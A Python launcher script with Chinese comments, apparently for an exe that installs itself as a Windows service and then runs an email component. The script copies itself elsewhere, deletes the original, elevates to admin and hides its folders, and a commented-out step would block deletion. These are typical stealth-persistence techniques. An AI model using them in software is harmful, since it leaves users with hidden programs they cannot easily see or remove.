# 打包成exe的状态下，删除自身，注册服务等
# 当服务正常启动时，启动Email服务
import os
import sys

import app_config
from py import win_server
from py.start_common import common_init
from py.uitls import FileUtil, WinUtil, PyUtil
from py.uitls.Logger import myLogger


def copy_to_new():
    # 当前程序文件路径
    now_file_path = PyUtil.get_exe_abs()
    # 释放的目标文件
    target_file = os.path.join(app_config.target_dir, app_config.app_file_name)

    myLogger.info("初次启动：%s，释放至：%s" % (now_file_path, target_file))
    FileUtil.copy_file(now_file_path, target_file)

    #  保存“删除配置”文件路径
    del_file_path = os.path.join(app_config.target_dir, app_config.app_del_file)
    FileUtil.save_file_text(del_file_path, now_file_path)
    #  保存“是否重新安装服务”
    service_file_path = os.path.join(app_config.target_dir, app_config.app_service_config)
    FileUtil.save_file_text(service_file_path, "1")

    # 启动复制完成后的程序
    myLogger.info("重新启动程序，%s" % target_file)
    os.startfile(target_file)


def del_pre_file():
    try:
        # 注意，是exe的路径，不是exe解压路径
        del_content_path = os.path.join(PyUtil.get_start_path(), app_config.app_del_file)
        del_content = FileUtil.read_file_text(del_content_path)
        if del_content is not None:
            del_files = del_content.split(";")
            for del_file in del_files:
                if os.path.exists(del_file):
                    myLogger.info("删除以前的文件：%s" % del_file)
                    FileUtil.del_file(del_file)
    except Exception as e:
        myLogger.info(e)


def alert_file_perm():
    try:
        # 隐藏文件
        FileUtil.hidden(app_config.target_dir)
        FileUtil.hidden(app_config.log_dir)
    except Exception as e2:
        myLogger.info(e2)

    try:
        # 更改权限，禁止删除
        #   TODO 很容易出问题
        # WinSec.remove_sec_by_file(app_config.target_dir)
        pass
    except Exception as e1:
        myLogger.info(e1)


if __name__ == '__main__':
    myLogger.info("程序启动参数：%s" % (sys.argv))
    common_init()
    # 当前文件没有被释放到其他目录
    if app_config.dir_tag not in PyUtil.get_exe_abs():
        try:
            copy_to_new()
            sys.exit()
        except Exception as e:
            myLogger.exception(e)
    else:
        # 已释放至其他目录
        try:
            config_file_path = os.path.join(PyUtil.get_start_path(), app_config.app_service_config)
            if len(sys.argv) == 1 and os.path.exists(config_file_path):
                # 存在文件则表明需要重新配置服务
                if not WinUtil.is_admin():
                    myLogger.info("获得管理员权限并重启")
                    WinUtil.get_admin()
                    sys.exit()

                # 安装或更新 windows 服务
                target_file = os.path.join(app_config.target_dir, app_config.app_file_name)
                win_server.inst_or_update(target_file)

                config_file_path = os.path.join(PyUtil.get_start_path(), app_config.app_service_config)
                FileUtil.del_file(config_file_path)

            # 删除之前的启动文件
            del_pre_file()
            # 修改项目文件权限

            alert_file_perm()
            # 接收服务相关命令
            win_server.handle_command_line()
        except Exception as e:
            myLogger.exception(e)
